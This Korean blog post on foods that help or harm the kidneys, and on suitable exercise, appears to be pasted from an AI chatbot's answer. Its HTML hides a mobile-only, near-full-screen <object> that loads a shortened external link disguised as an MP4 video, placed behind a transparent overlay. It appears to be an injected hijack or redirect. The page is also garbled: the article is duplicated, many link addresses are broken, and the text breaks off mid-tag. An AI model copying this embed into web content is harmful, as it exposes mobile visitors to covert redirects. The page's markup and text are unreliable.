신장에 좋은 음식 안좋은 음식 좋은 운동

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:24">신장 건강을 위한 식단 및 운동 가이드</h2><h3 data-sourcepos="3:1-3:28">신장에 좋은 음식: 건강한 신장을 위한 식단</h3><p data-sourcepos="5:1-5:66">신장 건강을 위해서는 균형 잡힌 식단이 매우 중요합니다. 특히, 칼륨, 인, 나트륨 섭취를 조절하는 것이 중요합니다.</p><p data-sourcepos="7:1-7:13"><strong>신장에 좋은 음식</strong></p><ul data-sourcepos="9:1-12:0"> <li data-sourcepos="9:1-9:34"><strong>저칼륨 식품:</strong> 쌀, 면, 흰빵, 닭가슴살, 생선 등</li> <li data-sourcepos="10:1-10:33"><strong>저인 식품:</strong> 딸기, 포도, 사과, 배, 오렌지 등</li> <li data-sourcepos="11:1-12:0"><strong>저나트륨 식품:</strong> 신선한 채소, 과일, 곡물 등</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" 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jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcT3rY87w_CevHj9MRHW5779PcgouWn4zQLiRkhPTUWA4I2sQltmZFlJ69wWPvXtw8_ZT-YMyEj1jrmuQXHO-BhCQIFWTf0y8GH8R0NCKw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.thinkfood.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저나트륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.amc.seoul.kr/asan/healthinfo/mealtherapy/mealTherapyDetail.do?mtId=95"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저칼륨 식품 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSGSQIX8NyMKNwwbzcu6U7654SRm4eT-3OBe0bKWEsHAGiNFKgBvwkunJaCfkoU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.amc.seoul.kr/asan/healthinfo/mealtherapy/mealTherapyDetail.do?mtId=95" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcR_OGkNY939KtAlXHzryOtz698n7F2zVByGZ2pzU-DnYHBX97Iziqw8jaakLddnCoBJ2aiCSkuHOE0jiO6n6dc0hlfRpX3SiKr2wQ"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.amc.seoul.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저칼륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.ycicare.or.kr:49613/s4_2/56"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저인 식품 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcR5OniJ0BBla2L8qDijRRgz9dvLkWADhu7Zoi-WgkHlwmHV-VVhyfwYsc4FOCpr"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.ycicare.or.kr:49613/s4_2/56" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQz36Fydjk7s2p-SiOO4jBS5KlvIsNFX-SdqYyFLArpsOAEpa4nnUm4XS_18HiSNSoQYgTNeRS3hMwGJQjFMFuzM6-6Nyj6JMi0um9JBF-JIbI"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.ycicare.or.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저인 식품 </div></div></single-image></response-element></div></ul><p data-sourcepos="17:1-17:13"><strong>신장에 나쁜 음식</strong></p><ul data-sourcepos="19:1-22:0"> <li data-sourcepos="19:1-19:40"><strong>고칼륨 식품:</strong> 바나나, 아보카도, 코코넛, 시금치, 고구마 등</li> <li data-sourcepos="20:1-20:29"><strong>고인 식품:</strong> 우유, 치즈, 콩, 견과류 등</li> <li data-sourcepos="21:1-22:0"><strong>고나트륨 식품:</strong> 가공식품, 인스턴트 식품, 햄, 소시지 등</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///igtalk/221798458301?viewType=pc"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="고나트륨 식품 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcT2cK_GSVNL8kG-rurjejmVDOkfwlQCeF3yD4gXSyBvkcOEcObwPTyuq0XZ_9iX"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///igtalk/221798458301?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 고나트륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///doctorkidney/223454764039?fromRss=true&amp;trackingCode=rss"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="고칼륨 식품 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTH8N4cO-P0BgTnawCk--X7-df_8W24MfzjQpA4eJofRJqy-tafSYKJc8KEyv6f"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///doctorkidney/223454764039?fromRss=true&amp;trackingCode=rss" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 고칼륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kr.made-in-china.com/co_852592a971eca821/product_High-Deacetylation-Food-Grade-Industry-Grade-Chitosan_uonriiginu.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="고인 식품 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRy-xWmjdIzgBKf1qY_NUyJqeoj6QNxr1QDU0S6iSes_R3UOsDibT92cnZjwlso"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.made-in-china.com/co_852592a971eca821/product_High-Deacetylation-Food-Grade-Industry-Grade-Chitosan_uonriiginu.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSQrqKOb18_5uxoErjV7_3L2GdOGuQ8vkKgAANutvKb1vsO2NyHWxPRv9z18aFsvvGKyBVXU2qIo4X1ntWcQLa3szX32Ez42j0xNogWKeo"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.made-in-china.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 고인 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="27:1-27:16">신장 건강을 위한 운동</h3><p data-sourcepos="29:1-29:47">적절한 운동은 신장 기능을 향상시키고 전반적인 건강을 증진시키는 데 도움이 됩니다.</p><p data-sourcepos="31:1-31:13"><strong>신장에 좋은 운동</strong></p><ul data-sourcepos="33:1-36:0"> <li data-sourcepos="33:1-33:34"><strong>유산소 운동:</strong> 걷기, 조깅, 수영, 자전거 타기 등</li> <li data-sourcepos="34:1-34:24"><strong>저강도 운동:</strong> 요가, 필라테스 등</li> <li data-sourcepos="35:1-36:0"><strong>스트레칭:</strong> 근육 이완 및 유연성 향상</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://./watch?v=Dj8FcUvyLF4"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="유산소 운동 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ5rMTb7NSkOGOa-irQQFc8FHjQQ4MiQHse6FGmCM1CXKuAEpBs1W3nq0bYqHXi"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://./watch?v=Dj8FcUvyLF4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 유산소 운동 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://healthierusd..com/73"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저강도 운동 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQ-qfYfoagMRFW1gu0hcl5kOTTLFKsqf7nq0lWOe2sha5cEsnu1R0g5lSVhpZ4B"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://healthierusd..com/73" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQae1s_P3CKezcA_edCsIV6M67juAKgOIUIHkMD88dLvTFtHN5gIss-xThun4oWeubY4bz_-oHmn7Ew_gn_H2Kknj4vRDIgW4OYKK0glO7cUjt4"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">healthierusd..com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저강도 운동 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://bakc.net/health/main/index.php?m_cd=109"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="스트레칭 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTfn4h8G3yO6jrLWIjo-iBfsQR_4b_rP6YYhQeMjo3YW5-N6_YAgwdcUosefkdt"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://bakc.net/health/main/index.php?m_cd=109" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8b7599ba74890ab4&quot;,&quot;c_5e61a858293f2c74&quot;,null,&quot;rc_d93dd2f74667ff92&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQJGAj9ocvZbMo7EyNjc-2kX2mt7Y1jI8eWzaIlXURkovgYW8zEWvq4ZOItzoPvtSnu_EFWqBXVC-NkbTrc7SMFaA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">bakc.net</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 스트레칭 </div></div></single-image></response-element></div></ul><p data-sourcepos="41:1-41:8"><strong>주의사항</strong></p><ul data-sourcepos="43:1-46:0"> <li data-sourcepos="43:1-43:40"><strong>개인의 건강 상태에 맞는 운동 강도와 시간을 선택해야 합니다.</strong></li> <li data-sourcepos="44:1-44:30"><strong>운동 전후 충분한 수분 섭취를 해야 합니다.</strong></li> <li data-sourcepos="45:1-46:0"><strong>갑작스러운 운동 강도 증가는 피해야 합니다.</strong></li> </ul><p data-sourcepos="47:1-47:6"><strong>결론</strong></p><p data-sourcepos="49:1-49:82">신장 건강을 위해서는 균형 잡힌 식단과 꾸준한 운동이 필수입니다. 위에 제시된 정보들을 참고하여 건강한 신장을 유지하기 위해 노력하시기 바랍니다.</p><p data-sourcepos="51:1-51:33"><strong>더 자세한 정보는 의료 전문가와 상담하시기 바랍니다.</strong></p><p data-sourcepos="53:1-53:62"><strong>참고:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다.</p><p data-sourcepos="55:1-55:182"><strong>Disclaimer:</strong> This information is for general knowledge and informational purposes only, and does not constitute medical advice. Always consult your doctor for any health concerns.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:24">신장 건강을 위한 식단 및 운동 가이드</h2><h3 data-sourcepos="3:1-3:28">신장에 좋은 음식: 건강한 신장을 위한 식단</h3><p data-sourcepos="5:1-5:66">신장 건강을 위해서는 균형 잡힌 식단이 매우 중요합니다. 특히, 칼륨, 인, 나트륨 섭취를 조절하는 것이 중요합니다.</p><p data-sourcepos="7:1-7:13"><strong>신장에 좋은 음식</strong></p><ul data-sourcepos="9:1-12:0"> <li data-sourcepos="9:1-9:34"><strong>저칼륨 식품:</strong> 쌀, 면, 흰빵, 닭가슴살, 생선 등</li> <li data-sourcepos="10:1-10:33"><strong>저인 식품:</strong> 딸기, 포도, 사과, 배, 오렌지 등</li> <li data-sourcepos="11:1-12:0"><strong>저나트륨 식품:</strong> 신선한 채소, 과일, 곡물 등</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.thinkfood./news/articleView.html?idxno=49988"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저나트륨 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR6-fktkEAsq_Ccp1zGPWifQe5Evm3-1rqpc8OnGSYD6PcGC3A-XHIAkLE4NX0U"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.thinkfood./news/articleView.html?idxno=49988" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcT3rY87w_CevHj9MRHW5779PcgouWn4zQLiRkhPTUWA4I2sQltmZFlJ69wWPvXtw8_ZT-YMyEj1jrmuQXHO-BhCQIFWTf0y8GH8R0NCKw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.thinkfood.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저나트륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.amc.seoul.kr/asan/healthinfo/mealtherapy/mealTherapyDetail.do?mtId=95"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저칼륨 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSGSQIX8NyMKNwwbzcu6U7654SRm4eT-3OBe0bKWEsHAGiNFKgBvwkunJaCfkoU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.amc.seoul.kr/asan/healthinfo/mealtherapy/mealTherapyDetail.do?mtId=95" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcR_OGkNY939KtAlXHzryOtz698n7F2zVByGZ2pzU-DnYHBX97Iziqw8jaakLddnCoBJ2aiCSkuHOE0jiO6n6dc0hlfRpX3SiKr2wQ"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.amc.seoul.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저칼륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" 